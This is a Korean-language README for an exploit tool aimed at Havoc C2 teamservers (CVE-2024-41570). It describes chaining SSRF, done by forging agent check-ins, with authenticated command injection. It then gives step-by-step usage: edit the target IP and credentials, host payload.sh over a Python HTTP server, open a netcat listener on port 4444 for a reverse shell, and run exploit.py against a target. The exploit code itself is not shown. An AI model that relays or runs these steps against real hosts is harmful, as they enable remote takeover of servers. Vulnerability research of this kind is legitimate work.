Havoc-C2-RCE (CVE-2024-41570)

이것은 Havoc C2 프레임워크에서의 연쇄(chained) RCE (CVE-2024-41570) 공격입니다.

명령 주입(Command injection): Havoc은 인증된 사용자가 Teamserver에서 명령을 실행할 수 있게 하는 명령 주입 취약점에 노출되어 있습니다. 0.3 버전부터 최신 릴리스 0.6까지 영향을 받습니다. Havoc의 기본 프로필에는 하드코딩된 비밀번호가 포함되어 있으므로, 공개 네트워크에서 기본 프로필을 부주의하게 사용하는 C2 운영자는 즉시 공격당할 수 있습니다.

SSRF: 이 취약점은 데몬(demon) 에이전트 등록 및 체크인을 위조하여 팀서버에 TCP 소켓을 열고 해당 소켓에서 데이터를 읽고 쓰는 방식으로 악용됩니다. 이를 통해 공격자는 팀서버의 출발지 IP를 유출하는 등 더 많은 정보를 얻을 수 있습니다.

연쇄 공격(Chain): SSRF를 악용하여 인증된 명령 주입 페이로드를 전달합니다.

사용 방법

1. exploit.py 파일에서 IP, USER 및 PASSWORD를 수정합니다.
2. payload.sh에서 IP를 수정합니다.

-> python3 -m venv myenv && source myenv/bin/activate
-> pip3 install -r requirements.txt
-> chmox +x payload.sh
-> python3 -m http.server (다른 터미널에서 실행)
-> nc -lvnp 4444 (다른 터미널에서 실행)

# 익스플로잇 실행
(myenv) -> python3 exploit.py -t https://site.com -i 0.0.0.0 -p 12345

크레딧: @chebuya 및 @Hyperreality